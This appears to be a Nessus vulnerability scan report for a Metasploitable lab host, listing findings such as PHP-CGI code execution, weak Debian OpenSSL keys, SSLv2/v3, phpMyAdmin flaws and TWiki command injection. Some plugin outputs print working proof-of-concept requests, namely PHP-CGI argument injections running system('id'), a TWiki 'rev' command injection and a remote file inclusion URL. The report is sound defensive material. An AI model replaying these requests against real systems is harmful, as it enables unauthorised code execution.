META

192.168.50.101

8	8	38	7	135
CRITICAL	HIGH	MEDIUM	LOW	INFO

Scan Information

Start time: Sun Jun 4 03:36:07 2023
End time: Sun Jun 4 04:27:02 2023

Host Information

Netbios Name: METASPLOITABLE
IP: 192.168.50.101
MAC Address: 08:00:27:7F:EF:4F
OS: Linux Kernel 2.6 on Ubuntu 8.04 (hardy)

Vulnerabilities

70728 - Apache PHP-CGI Remote Code Execution

Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

Solution

Upgrade to PHP 5.3.13 / 5.4.3 or later.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

8.9

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

BID	53388
CVE	CVE-2012-1823
CVE	CVE-2012-2311
CVE	CVE-2012-2335
CVE	CVE-2012-2336
XREF	CERT:520827
XREF	EDB-ID:29290
XREF	EDB-ID:29316
XREF	CISA-KNOWN-EXPLOITED:2022/04/15

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2013/11/01, Modified: 2023/04/25

Plugin Output

tcp/80/www

```
Nessus was able to verify the issue exists using the following request :

------------------------------ snip ------------------------------
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+
%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F
%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F
%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E
%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F
%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F
%65%6E%76%3D%30+%2D%6E HTTP/1.1
```

```
Host: 192.168.50.101
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Content-Length: 115
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
<?php echo "Content-Type:text/html\r\n\r\n"; echo 'php_cgi_remote_code_execution-1685866035';
 system('id'); die; ?>
---------------------------- snip ----------------------------
```

32314 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness

Synopsis

The remote SSH host keys are weak.

Description

The remote SSH host key has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to set up decipher the remote session or set up a man in the middle attack.

See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

7.4

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/14, Modified: 2018/11/15

Plugin Output

tcp/22/ssh

32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

Synopsis

The remote SSL certificate uses a weak key.

Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

7.4

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/15, Modified: 2020/11/16

Plugin Output

tcp/25/smtp

32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

Synopsis

The remote SSL certificate uses a weak key.

Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

VPR Score

7.4

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/15, Modified: 2020/11/16

Plugin Output

tcp/5432/postgresql

20007 - SSL Version 2 and 3 Protocol Detection

Synopsis

The remote service encrypts traffic using a protocol with known weaknesses.

Description

The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are affected by several cryptographic flaws, including:

- An insecure padding scheme with CBC ciphers.

- Insecure session renegotiation and resumption schemes.

An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt communications between the affected service and clients.

Although SSL/TLS has a secure means for choosing the highest supported version of the protocol (so that these versions will be used only if the client or server support nothing better), many web browsers implement this in an unsafe way that allows an attacker to downgrade a connection (such as in POODLE). Therefore, it is recommended that these protocols be disabled entirely.

NIST has determined that SSL 3.0 is no longer acceptable for secure communications. As of the date of enforcement found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC's definition of 'strong cryptography'.

See Also

https://www.schneier.com/academic/paperfiles/paper-ssl.pdf

http://www.nessus.org/u?b06c7e95

http://www.nessus.org/u?247c4540

https://www.openssl.org/~bodo/ssl-poodle.pdf

http://www.nessus.org/u?5d15ba70

https://www.imperialviolet.org/2014/10/14/poodle.html

https://tools.ietf.org/html/rfc7507

https://tools.ietf.org/html/rfc7568

Solution

Consult the application's documentation to disable SSL 2.0 and 3.0.

Use TLS 1.2 (with approved cipher suites) or higher instead.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2005/10/12, Modified: 2022/04/04

Plugin Output

tcp/25/smtp

```
- SSLv2 is enabled and the server supports at least one cipher.

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code         KEX        Auth    Encryption            MAC
    --------------------          ----------   ---        ----    --------------------  ---
    EXP-RC2-CBC-MD5                            RSA(512)    RSA     RC2-CBC(40)           MD5
       export
    EXP-RC4-MD5                                RSA(512)    RSA     RC4(40)               MD5
       export

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code         KEX        Auth    Encryption            MAC
    --------------------          ----------   ---        ----    --------------------  ---
    DES-CBC3-MD5                               RSA        RSA     3DES-CBC(168)         MD5

  High Strength Ciphers (>= 112-bit key)

    Name                          Code         KEX        Auth    Encryption            MAC
    --------------------          ----------   ---        ----    --------------------  ---
    RC4-MD5                                    RSA        RSA     RC4(128)              MD5

 The fields above are :

   {Tenable ciphername}
   {Cipher ID code}
   Kex={key exchange}
   Auth={authentication}
   Encrypt={symmetric encryption method}
   MAC={message authentication code}
   {export flag}

- SSLv3 is enabled and the server supports at least one cipher.
 Explanation: TLS 1.0 and SSL 3.0 cipher suites may be used with SSLv3

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code         KEX        Auth    Encryption            MAC
    --------------------          ----------   ---        ----    --------------------  ---
    EXP-EDH-RSA-DES-CBC-SHA                    DH(512)    RSA     DES-CBC(40)
 SHA1      export
    EDH-RSA-DES-CBC-SHA                        DH         RSA     DES-CBC(56)           SHA
  [...]
```

20007 - SSL Version 2 and 3 Protocol Detection

Synopsis

The remote service encrypts traffic using a protocol with known weaknesses.

Description

The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are affected by several cryptographic flaws, including:

- An insecure padding scheme with CBC ciphers.

- Insecure session renegotiation and resumption schemes.

An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt communications between the affected service and clients.

Although SSL/TLS has a secure means for choosing the highest supported version of the protocol (so that these versions will be used only if the client or server support nothing better), many web browsers implement this in an unsafe way that allows an attacker to downgrade a connection (such as in POODLE). Therefore, it is recommended that these protocols be disabled entirely.

NIST has determined that SSL 3.0 is no longer acceptable for secure communications. As of the date of enforcement found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC's definition of 'strong cryptography'.

See Also

https://www.schneier.com/academic/paperfiles/paper-ssl.pdf

http://www.nessus.org/u?b06c7e95

http://www.nessus.org/u?247c4540

https://www.openssl.org/~bodo/ssl-poodle.pdf

http://www.nessus.org/u?5d15ba70

https://www.imperialviolet.org/2014/10/14/poodle.html

https://tools.ietf.org/html/rfc7507

https://tools.ietf.org/html/rfc7568

Solution

Consult the application's documentation to disable SSL 2.0 and 3.0.

Use TLS 1.2 (with approved cipher suites) or higher instead.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2005/10/12, Modified: 2022/04/04

Plugin Output

tcp/5432/postgresql

```
 - SSLv3 is enabled and the server supports at least one cipher.
 Explanation: TLS 1.0 and SSL 3.0 cipher suites may be used with SSLv3


   Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

     Name                       Code         KEX        Auth    Encryption             MAC
     --------------------       ----------   ---        ----    --------------------   ---
     EDH-RSA-DES-CBC3-SHA                     DH         RSA     3DES-CBC(168)
 SHA1
     DES-CBC3-SHA                             RSA        RSA     3DES-CBC(168)
 SHA1

   High Strength Ciphers (>= 112-bit key)

     Name                       Code         KEX        Auth    Encryption             MAC
     --------------------       ----------   ---        ----    --------------------   ---
     DHE-RSA-AES128-SHA                       DH         RSA     AES-CBC(128)
 SHA1
     DHE-RSA-AES256-SHA                       DH         RSA     AES-CBC(256)
 SHA1
     AES128-SHA                               RSA        RSA     AES-CBC(128)
 SHA1
     AES256-SHA                               RSA        RSA     AES-CBC(256)
 SHA1
     RC4-SHA                                  RSA        RSA     RC4(128)
 SHA1

 The fields above are :

   {Tenable ciphername}
   {Cipher ID code}
   Kex={key exchange}
   Auth={authentication}
   Encrypt={symmetric encryption method}
   MAC={message authentication code}
   {export flag}
```

33850 - Unix Operating System Unsupported Version Detection

Synopsis

The operating system running on the remote host is no longer supported.

Description

According to its self-reported version number, the Unix operating system running on the remote host is no longer supported.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it is likely to contain security vulnerabilities.

Solution

Upgrade to a version of the Unix operating system that is currently supported.

Risk Factor

Critical

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

References

XREF   IAVA:0001-A-0502
XREF   IAVA:0001-A-0648

Plugin Information

Published: 2008/08/08, Modified: 2023/05/18

Plugin Output

tcp/0

```
Ubuntu 8.04 support ended on 2011-05-12 (Desktop) / 2013-05-09 (Server).
Upgrade to Ubuntu 21.04 / LTS 20.04 / LTS 18.04.

For more information, see : https://wiki.ubuntu.com/Releases
```

125855 - phpMyAdmin prior to 4.8.6 SQLi vulnerablity (PMASA-2019-3)

Synopsis

The remote web server hosts a PHP application that is affected by SQLi vulnerability.

Description

According to its self-reported version number, the phpMyAdmin application hosted on the remote web server is prior to 4.8.6. It is, therefore, affected by a SQL injection (SQLi) vulnerability that exists in designer feature of phpMyAdmin. An unauthenticated, remote attacker can exploit this to inject or manipulate SQL queries in the back-end database, resulting in the disclosure or manipulation of arbitrary data.

Note that Nessus has not attempted to exploit these issues but has instead relied only on the application's self-reported version number.

See Also

http://www.nessus.org/u?c9d7fc8c

Solution

Upgrade to phpMyAdmin version 4.8.6 or later.

Alternatively, apply the patches referenced in the vendor advisories.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	108617
CVE	CVE-2019-11768

Plugin Information

Published: 2019/06/13, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
URL               : http://192.168.50.101/phpMyAdmin
Installed version : 3.1.1
Fixed version     : 4.8.6
```

39469 - CGI Generic Remote File Inclusion

Synopsis

Arbitrary code may be run on the remote server.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a remote file from a remote server and execute arbitrary commands on the target host.

See Also

https://en.wikipedia.org/wiki/Remote_File_Inclusion

http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF	CWE:73
XREF	CWE:78
XREF	CWE:98
XREF	CWE:434
XREF	CWE:473
XREF	CWE:632
XREF	CWE:714
XREF	CWE:727
XREF	CWE:801
XREF	CWE:928
XREF	CWE:929

Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

Plugin Output

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to web code injection :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=http://64wWDldb.example.com/

-------- output --------
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
<br />
<b>Warning</b>:  include(http://64wWDldb.example.com/) [<a href='functio
n.include'>function.include</a>]: failed to open stream: no suitable wra
pper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>4
69</b><br />
<br />
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
-----------------------

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=http://64wWDldb.example.com/

-------- output --------
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
<br />
<b>Warning</b>:  include(http://64wWDldb.example.com/) [<a href='functio
n.include'>function.include</a>]: failed to open stream: no suitable wra
pper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>4
69</b><br />
<br />
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
-----------------------

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)

http://192.168.50.101/mutillidae/?page=http://64wWDldb.example.com/
http://192.168.50.101/mutillidae/index.php?page=http://64wWDldb.example.com/
```

136769 - ISC BIND Service Downgrade / Reflected DoS

Synopsis

The remote name server is affected by Service Downgrade / Reflected DoS vulnerabilities.

Description

According to its self-reported version, the instance of ISC BIND 9 running on the remote name server is affected by performance downgrade and Reflected DoS vulnerabilities. This is due to BIND DNS not sufficiently limiting the number fetches which may be performed while processing a referral response.

An unauthenticated, remote attacker can exploit this to cause degrade the service of the recursive server or to use the affected server as a reflector in a reflection attack.

See Also

https://kb.isc.org/docs/cve-2020-8616

Solution

Upgrade to the ISC BIND version referenced in the vendor advisory.

Risk Factor

Medium

CVSS v3.0 Base Score

8.6 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

7.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.2

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE   CVE-2020-8616
XREF   IAVA:2020-A-0217-S

Plugin Information

Published: 2020/05/22, Modified: 2020/06/26

Plugin Output

udp/53/dns

```
Installed version : 9.4.2
Fixed version     : 9.11.19
```

59088 - PHP PHP-CGI Query String Parameter Injection Arbitrary Code Execution

Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

See Also

http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

http://www.php.net/archive/2012.php#id2012-05-08-1

http://www.php.net/ChangeLog-5.php#5.3.13

http://www.php.net/ChangeLog-5.php#5.4.3

http://www.nessus.org/u?80589ce8

https://www-304.ibm.com/support/docview.wss?uid=swg21620314

Solution

If using Lotus Foundations, upgrade the Lotus Foundations operating system to version 1.2.2b or later.

Otherwise, upgrade to PHP 5.3.13 / 5.4.3 or later.

Risk Factor

High

VPR Score

8.9

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

BID   53388
CVE   CVE-2012-1823

CVE	CVE-2012-2311
XREF	CERT:520827
XREF	EDB-ID:18834
XREF	CISA-KNOWN-EXPLOITED:2022/04/15

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2012/05/14, Modified: 2022/03/28

Plugin Output

tcp/80/www

```
Nessus was able to verify the issue exists using the following request :

---------------------------- snip ----------------------------
POST /dvwa/dvwa/includes/DBMS/DBMS.php?-d+allow_url_include%3don+-d+safe_mode%3doff+-d
+suhosin.simulation%3don+-d+open_basedir%3doff+-d+auto_prepend_file%3dphp%3a//input+-n HTTP/1.1
Host: 192.168.50.101
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Content-Length: 82
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
<?php echo 'php_cgi_query_string_code_execution-1685866035'; system('id'); die; ?>
---------------------------- snip ----------------------------
```

42873 - SSL Medium Strength Cipher Suites Supported (SWEET32)

Synopsis

The remote service supports the use of medium strength SSL ciphers.

Description

The remote host supports the use of SSL ciphers that offer medium strength encryption. Nessus regards medium strength as any encryption that uses key lengths at least 64 bits and less than 112 bits, or else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength encryption if the attacker is on the same physical network.

See Also

https://www.openssl.org/blog/blog/2016/08/24/sweet32/

https://sweet32.info

Solution

Reconfigure the affected application if possible to avoid use of medium strength ciphers.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

VPR Score

6.1

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

CVE   CVE-2016-2183

Plugin Information

Published: 2009/11/23, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

```
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code            KEX       Auth    Encryption           MAC
    ----------------------        ----------      ---       ----    --------------------  ---
    DES-CBC3-MD5                  0x07, 0x00, 0xC0 RSA      RSA     3DES-CBC(168)        MD5
    EDH-RSA-DES-CBC3-SHA          0x00, 0x16      DH        RSA     3DES-CBC(168)
SHA1
    ADH-DES-CBC3-SHA              0x00, 0x1B      DH        None    3DES-CBC(168)
SHA1
    DES-CBC3-SHA                  0x00, 0x0A      RSA       RSA     3DES-CBC(168)
SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
```

42873 - SSL Medium Strength Cipher Suites Supported (SWEET32)

Synopsis

The remote service supports the use of medium strength SSL ciphers.

Description

The remote host supports the use of SSL ciphers that offer medium strength encryption. Nessus regards medium strength as any encryption that uses key lengths at least 64 bits and less than 112 bits, or else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength encryption if the attacker is on the same physical network.

See Also

https://www.openssl.org/blog/blog/2016/08/24/sweet32/

https://sweet32.info

Solution

Reconfigure the affected application if possible to avoid use of medium strength ciphers.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

VPR Score

6.1

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

CVE   CVE-2016-2183

Plugin Information

Published: 2009/11/23, Modified: 2021/02/03

Plugin Output

tcp/5432/postgresql

```
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                        Code          KEX         Auth     Encryption             MAC
    --------------------        ----------    ---         ----     --------------------   ---
    EDH-RSA-DES-CBC3-SHA        0x00, 0x16    DH          RSA      3DES-CBC(168)
  SHA1
    DES-CBC3-SHA                0x00, 0x0A    RSA         RSA      3DES-CBC(168)
  SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
```

90509 - Samba Badlock Vulnerability

Synopsis

An SMB server running on the remote host is affected by the Badlock vulnerability.

Description

The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to able to intercept the traffic between a client and a server hosting a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical services.

See Also

http://badlock.org

https://www.samba.org/samba/security/CVE-2016-2118.html

Solution

Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.7

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID   86002
CVE   CVE-2016-2118
XREF   CERT:813296

Plugin Information

Published: 2016/04/13, Modified: 2019/11/20

Plugin Output

tcp/445/cifs

```
Nessus detected that the Samba Badlock patch has not been applied.
```

19704 - TWiki 'rev' Parameter Arbitrary Command Execution

Synopsis

The remote web server hosts a CGI application that is affected by an arbitrary command execution vulnerability.

Description

The version of TWiki running on the remote host allows an attacker to manipulate input to the 'rev' parameter in order to execute arbitrary shell commands on the remote host subject to the privileges of the web server user id.

See Also

http://www.nessus.org/u?c70904f3

Solution

Apply the appropriate hotfix referenced in the vendor advisory.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:F/RL:O/RC:C)

VPR Score

7.4

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)

References

BID   14834

CVE	CVE-2005-2877

Exploitable With

Metasploit (true)

Plugin Information

Published: 2005/09/15, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Nessus was able to execute the command "id" using the
following request :

http://192.168.50.101/twiki/bin/view/Main/TWikiUsers?rev=2%20%7cid%7c%7cecho%20


This produced the following truncated output (limited to 2 lines) :
---------------------------- snip ----------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)

---------------------------- snip ----------------------------
```

36171 - phpMyAdmin Setup Script Configuration Parameters Arbitrary PHP Code Injection (PMASA-2009-4)

Synopsis

The remote web server contains a PHP application that is affected by a code execution vulnerability.

Description

The setup script included with the version of phpMyAdmin installed on the remote host does not properly sanitize user-supplied input before using it to generate a config file for the application. This version is affected by the following vulnerabilities :

- The setup script inserts the unsanitized verbose server name into a C-style comment during config file generation.

- An attacker can save arbitrary data to the generated config file by altering the value of the 'textconfig' parameter during a POST request to config.php.

An unauthenticated, remote attacker can exploit these issues to execute arbitrary PHP code.

See Also

https://www.tenable.com/security/research/tra-2009-02

http://www.phpmyadmin.net/home_page/security/PMASA-2009-4.php

Solution

Upgrade to phpMyAdmin 3.1.3.2. Alternatively, apply the patches referenced in the project's advisory.

Risk Factor

High

VPR Score

6.7

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID   34526

CVE	CVE-2009-1285
XREF	TRA:TRA-2009-02
XREF	SECUNIA:34727
XREF	CWE:94

Plugin Information

Published: 2009/04/16, Modified: 2022/04/11

Plugin Output

tcp/80/www